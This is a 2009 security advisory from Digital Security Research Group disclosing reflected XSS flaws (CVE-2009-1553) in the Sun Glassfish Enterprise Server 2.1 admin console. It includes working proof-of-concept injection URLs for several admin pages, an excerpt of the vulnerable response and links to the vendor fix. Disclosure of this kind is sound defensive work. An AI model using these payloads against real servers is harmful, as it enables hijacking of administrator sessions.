Topic:	Sun Glassfish Enterprise Server - Multiple Linked XSS vulnerabilies
Credit:	Digital Security Research Group
Date:	2009.05.07
CWE:	CWE-79 (Show similar)
CVE:	CVE-2009-1553 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-034

Original advisory: http://dsecrg.com/pages/vul/show.php?id=134

Application: Sun Glassfish Enterprise Server
Versions Affected: 2.1
Vendor URL: https://glassfish.dev.java.net/
Bug: Multiple Linked XSS vulnerabilities
Exploits: YES
Reported: 19.03.2009
Vendor response: 20.03.2009
Solution: YES
Date of Public Advisory: 05.05.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description
***********

Glassfish Enterprise Server Admin Console has multiple linked XSS vulnerabilities.

Details
*******

Using this vulnerability attacker can steal admin's cookie and then
authentificate as administrator or perform certain administrative
actions.

1. Multiple Linked XSS vulnerabilities.

Many pages have typical XSS vulnerability.

Attacker can inject XSS in URL string.

Example:

http://[server]/applications/applications.jsf?');};alert("DSecRG_XSS");<
/script><!--
http://[server]/configuration/configuration.jsf?');};alert("DSecRG_XSS")
;</script><!--
http://[server]/customMBeans/customMBeans.jsf?');};alert("DSecRG_XSS");<
/script><!--
http://[server]/resourceNode/resources.jsf?');};alert("DSecRG_XSS");</sc
ript><!--
http://[server]/sysnet/registration.jsf?');};alert("DSecRG_XSS");</scrip
t><!--
http://[server]/webService/webServicesGeneral.jsf?');};alert("DSecRG_XSS
");</script><!--

Response HTML Code:
-------------------
#################################################

...
<script type="text/javascript">
var myonload = new Object();
myonload.oldonload = window.onload;
myonload.newonload = function() {
if ('/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!--'
!= '') {
...

#################################################

2. Multiple Linked XSS vulnerabilities in GET parameter "name".

Many pages have typical XSS vulnerability in GET parameter "name".

Attacker can inject XSS in URL string.

Example:

http://[server]/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>
http://[server]/configuration/httpListenerEdit.jsf?name=<IMG
SRC=javascript:alert('DSecRG_XSS')>&configName=server-config
http://[server]/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>

Solution
********

This security vulnerabilities fixed in CVS.

The following links to the commit email messages for all the changes to fix these issues:

https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29669
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29668
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29675

Credits
*******

http://www.nabble.com/Re:--DSECRG--Sun-Glassfish-Multiple-Security-Vulne
rabilities-p23002524.html

About
*****

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penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.

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http://www.dsecrg.com
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